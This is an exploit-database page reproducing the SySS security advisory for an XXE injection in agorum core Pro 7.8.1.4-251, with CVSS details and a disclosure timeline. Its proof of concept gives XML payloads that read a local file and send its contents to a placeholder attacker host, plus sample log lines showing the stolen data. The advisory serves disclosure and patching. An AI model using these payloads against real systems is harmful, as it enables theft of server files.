Exploitalert - Database of Exploits

Agorum Core Pro 7.8.1.4-251 XXE Injection

CVE	Category	Price	Severity
CVE-2019-10712	CWE-611	$5,000	High

Author	Risk	Exploitation Type	Date
moskin	High	Remote	2017-04-14

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N	0.03734	0.63472

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	None	I	There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability	None	A	There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.

https://cxsecurity.com/ascii/WLB-2017040087

Agorum Core Pro 7.8.1.4-251 XXE InjectionAdvisory ID: SYSS-2017-009 Product: agorum core Pro Manufacturer: agorum Software GmbH Affected Version(s): 7.8.1.4-251 Tested Version(s): 7.8.1.4-251 Vulnerability Type: Improper Restriction of XML External Entity Reference ('XXE') (CWE-611) Risk Level: High Solution Status: Open Manufacturer Notification: 2017-02-06 Solution Date: 2017-04-06 Public Disclosure: 2017-04-12 CVE Reference: Not yet assigned Author of Advisory: Sascha Grimmeisen & Dr. Erlijn van Genuchten, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: agorum core Pro is a module based Document Management System. It allows the customer to buy only required modules and can be extended when needed. Due to the possibility to upload and parse XML files, it is possible to extract data from the local system. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: SySS GmbH found out that users are able to upload and parse XML files. Even though the result of the parse XML file is not visible in the application, it is possible to extract data from the local system using an external server. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): First, the file "ev.xml" with the following content was uploaded to an external server hosted by the attacker. <!ENTITY % data SYSTEM "file:///c:/[PATH]/[FILE]"> <!ENTITY % url "<!ENTITY extract SYSTEM 'http://[ATTACKER-HOST]?%data;'>"> Second, the file "attack.xml" with the following content was uploaded in the desk4web module of the web application: <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sg SYSTEM "http://[ATTACKER-HOST]/ev.xml"> %sg; %url; ]> <r>&extract;</r> Important is to tick the box in the application that the XML file should be parsed after uploading. When the application has finished parsing the XML file, an entry in for example the Apache access.log file of the attacker's web server is available, which contains the extracted file contents: "GET /ev.xml HTTP/1.1" 200 441 "-" "Java/1.7.0_17" "GET /?[EXTRACTED-FILE-CONTENTS] HTTP/1.1" 200 210 "-" "Java/1.7.0_17" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: Update to agorum core 7.11.3. [4] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2017-01-30: Vulnerability discovered 2017-02-06: Vulnerability reported to manufacturer 2017-04-06: Public disclosure 2017-04-06: Fix confirmed by manufacturer 2017-04-12: Vulnerability published ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] Product website for agorum Software GmbH http://mein-dms.agorum.com/ [2] SySS Security Advisory SYSS-2017-009 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2017-009.txt [3] SySS Responsible Disclosure Policy https://www.syss.de/en/news/responsible-disclosure-policy/ [4] Agorum Change Log https://d4w.agorum.com/roiwebui/files/520986548/Changelog.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Dr. Erlijn van Genuchten and Sascha Grimmeisen of SySS GmbH. E-Mail: [email protected] Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Erlijn_van_Genuchten.asc Key ID: 0xBD96FF2A Key Fingerprint: 17BB 4CED 755A CBB3 2D47 C563 0CA5 8637 BD96 FF2A E-Mail: [email protected] Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Sascha_Grimmeisen.asc Key ID: 0xD3D9C868 Key Fingerprint: 4937 7FCF BA8E 3D80 1AAD 4AC4 7C1D E510 D3D9 C868 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS Web site. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: http://creativecommons.org/licenses/by/3.0/deed.en

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